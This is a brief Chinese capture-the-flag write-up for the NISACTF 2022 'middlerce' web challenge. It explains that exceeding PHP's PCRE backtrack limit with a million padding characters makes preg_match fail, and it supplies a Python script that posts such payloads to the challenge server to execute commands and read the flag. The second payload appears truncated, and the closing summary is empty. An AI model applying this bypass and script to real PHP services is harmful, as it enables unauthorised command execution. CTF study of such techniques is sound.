Problem: [NISACTF 2022]middlerce
思路
- 解题大致思路
- 也是看的别人的题解才知道,preg-match可以通过输入1000000个垃圾字符进行绕过从而绕过这个检测函数
- 当然也因此只能使用代码才能生成并传这么多的垃圾字符
- 脚本不多,本来只有四行的,但是我把两次全部放一起了也还好,并且注释很多(也挺乱的可以先放到pycharm或者vscode里面查看会清晰一点)
EXP
- 具体攻击代码
- 攻击脚本奉上:
import requests
#先进行解释:php为了防止拒绝服务攻击(reDOS)漏洞
#给prce进行了数量限制,内容不能大于1000000的量,否则就不会返回1或者0而是返回false,这个时候也就绕过了preg-match这个函数了
payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'#因为题目会将传入的内容转为js的格式,所以直接使用js格式的内容进行传参
#同时该段将生成1000000个#号,绕过了preg-match这个函数的限制
res = requests.post("http://node4.anna.nssctf.cn:28258/",data = {"letter":payload})#data的第一个是参数名称,第二个是参数内容
print(res.text)#查看结果,看是否绕过了preg-match函数
#更改payload获取flag
payload = '{"cmd":"?>","a":"'+'#'*1000000+'"}'#这里可以使用ls查看目录文件,但是只有nl才能查看文件内容(可能因为其他的被过滤了)
res = requests.post("http://node4.anna.nssctf.cn:28258/",data={"letter":payload})
print(res.text)
总结
- 对该题的考点总结
